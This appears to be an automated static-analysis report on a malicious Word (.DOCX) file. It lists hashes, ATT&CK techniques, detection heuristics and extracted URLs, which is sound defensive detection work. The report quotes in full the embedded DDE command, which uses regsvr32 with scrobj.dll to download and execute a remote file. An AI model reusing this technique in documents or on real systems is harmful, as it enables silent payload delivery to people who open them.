Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 dcafd89d328452d5…

MALICIOUS

Office (OOXML) / .DOCX

49.7 KB Created: 2017-10-27 22:23:00 UTC Authoring application: Microsoft Office Word 16.0000
MD5: c03e03ba7f77235b791eebeb3810633f SHA-1: c4e044fdbe2d6316ed18a85600ef698580cd6283 SHA-256: dcafd89d328452d5e10c34d49342f81d291dc2c196c3dba45989eafa78fae9aa
160 Risk Score

Malware Insights

MITRE ATT&CK
T1218.011 Signed Binary Proxy Execution: Rundll32 T1059.003 Command and Scripting Interpreter: Windows Command Shell

The critical heuristic OOXML_DDE_MALICIOUS indicates a malicious DDE command was embedded within the document. This command, 'regsvr32 /s /n /u /i:https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe scrobj.dll', attempts to download and execute a file from the specified URL using regsvr32. This is a common technique for delivering second-stage payloads. The SE_LOLBIN_RUN_COMMAND heuristic further supports the execution of Windows command-line tools.

Heuristics 4

  • Malicious DDE command critical OOXML_DDE_MALICIOUS
    DDE field in word/document.xml launches a dangerous executable: \\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\Sy
  • ClamAV: Doc.Exploit.DDEautoexec-6346603-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.DDEautoexec-6346603-1
  • Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND
    Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/package/2006/content-types
    • http://schemas.openxmlformats.org/package/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties
    • http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
    • http://schemas.microsoft.com/office/drawing/2014/chartex
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartex
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartex
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/drawing/2016/ink
    • http://schemas.microsoft.com/office/drawing/2017/model3d
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/math
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
    • http://schemas.openxmlformats.org/wordprocessingml/2006/main
    • http://schemas.microsoft.com/office/word/2010/wordml
    • http://schemas.microsoft.com/office/word/2012/wordml
    • http://schemas.microsoft.com/office/word/2016/wordml/cid
    • http://schemas.microsoft.com/office/word/2015/wordml/symex
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInk
    • http://schemas.microsoft.com/office/word/2006/wordml
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShape
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
    • http://schemas.openxmlformats.org/drawingml/2006/main
    • http://schemas.microsoft.com/office/thememl/2012/main
    • http://schemas.openxmlformats.org/schemaLibrary/2006/main
    • http://schemas.microsoft.com/office/word
    • http://schemas.openxmlformats.org/officeDocument/2006/extended-properties
    • http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes
    • http://schemas.openxmlformats.org/package/2006/metadata/core-properties
    • http://purl.org/dc/elements/1.1/
    • http://purl.org/dc/terms/
    • http://purl.org/dc/dcmitype/
    • http://www.w3.org/2001/XMLSchema-instance

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